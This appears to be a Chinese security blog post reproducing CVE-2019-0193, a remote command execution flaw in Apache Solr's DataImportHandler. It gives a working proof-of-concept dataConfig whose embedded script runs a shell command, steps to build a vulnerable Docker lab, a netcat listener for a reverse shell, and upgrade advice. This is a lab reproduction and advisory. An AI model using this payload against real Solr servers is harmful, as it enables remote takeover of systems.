Apache Solr 远程命令执行漏洞复现

发布于 2024-07-12 02:17:43 字数 4513 浏览 10 评论 0

2019 年 8 月 1 日,Apache Solr 官方发布了 CVE-2019-0193 漏洞预警,漏洞危害评级为严重。

此次漏洞出现在 Apache Solr 的 DataImportHandler ,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的 DIH 配置都可以通过外部请求的 dataConfig 参数来设置。由于 DIH 配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。

360CERT 判断漏洞等级为高,建议 Apache Solr 用户及时升级以防止攻击者攻击。

POC

<dataConfig>
    <script><![CDATA[
                function f1(row){
                    var run = java.lang.Runtime.getRuntime().exec("touch /tmp/success");
                    row.put('name', 'Hello World!');
                    return row;
                }
    ]]></script>
    <document>
        <entity name="person" transformer="script:f1" query="select * from person" pk="id">
            <field column="id" name="id" />
            <field column="name" name="name" />
        </entity>
    </document>
</dataConfig>

漏洞成因

该漏洞的产生是由于两方面的原因:

  • 用户在 solrconfig.xml 文件中设置了 DataImportHandler ,开启了 DataImport 功能。
  • DataImportHandler 模块允许用户自己包含脚本,来进行配置。

攻击者可以通过构造恶意的脚本交由转换器进行解析,在 Solr 解析的过程中并未对用户的输入做检查,可导致攻击者远程在 Solr 服务器上执行命令。

环境搭建

solr 部署

本环境采用 docker 部署 拉取镜像:docker pull solr: 8.1.1 启动容器:docker run –name solr -d -p 8983:8983 -t solr:8.1.1 访问 http://IP:8983/ ,apache solr 框架部署完毕

开启 DataImportHandler 插件

新建 core:

点击 Add Core,solr 系统报错。

然后执行:docker exec -it –user root solr /bin/bash,进入 solr 容器。

进入容器后,执行:

cp /opt/solr-8.1.1/server/solr/configsets/_default/conf  /var/solr/data/new_core/
cp /opt/solr/dist/solr-dataimporthandler-8.1.1.jar /opt/solr/server/solr-webapp/webapp/WEB-INF/lib
cp /opt/solr/dist/solr-dataimporthandler-extras-8.1.1.jar /opt/solr/server/solr-webapp/webapp/WEB-INF/lib
cd /var/solr/data/new_core/conf/
vim solrconfig.xml

DataImportHandler 插件配置

将下面的 XML 添加到 solrconfig.xml

<requestHandler name="/dataimport"  
                class="org.apache.solr.handler.dataimport.DataImportHandler" > 
    <lst name="defaults"> 
      <str name="config">data-config.xml</str> 
    </lst> 
</requestHandler>

:XML 的格式一定按照上述格式,否则会报错!

执行 vim data-config.xml ,并将下面 XML 保存至该文件:

<dataConfig>
    <dataSource driver="com.mysql.jdbc.Driver" url="jdbc:mysql://IP:3306/securityTest" user="root" password="root" />
    <document>
        <entity name="person" query="select * from person" pk="id">
            <field column="id" name="id" />
            <field column="name" name="name" />
        </entity>
    </document>
</dataConfig>

然后将 mysql-connector-java-5.1.48.jar 放入 /opt/solr/server/solr-webapp/webapp/WEB-INF/lib 文件夹下

重启 solr

然后重启 solr: ./opt/solr/bin/solr restart

至此,漏洞环境搭建完毕,搭建成功的截图如下:

漏洞测试

访问管理页面

浏览器访问: http://IP:8983/

开启 Debug 模式

将 poc 复制到 Configuration 中:

可在标注的地方更换受害机执行的命令,本文以反弹 shell 为例。

开启监听

nc -lp 4567

执行命令

点击 Execute with this Configuration

执行成功可以发现 shell 已经成功反弹:

影响范围

  • Apache Solr < 8.2.0

修复建议

  • 将 Apache Solr 升级至 8.2.0 或之后的版本

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

将军与妓

暂无简介

0 文章
0 评论
22 人气
更多

推荐作者

花开柳相依

文章 0 评论 0

zyhello

文章 0 评论 0

故友

文章 0 评论 0

对风讲故事

文章 0 评论 0

Oo萌小芽oO

文章 0 评论 0

梦明

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文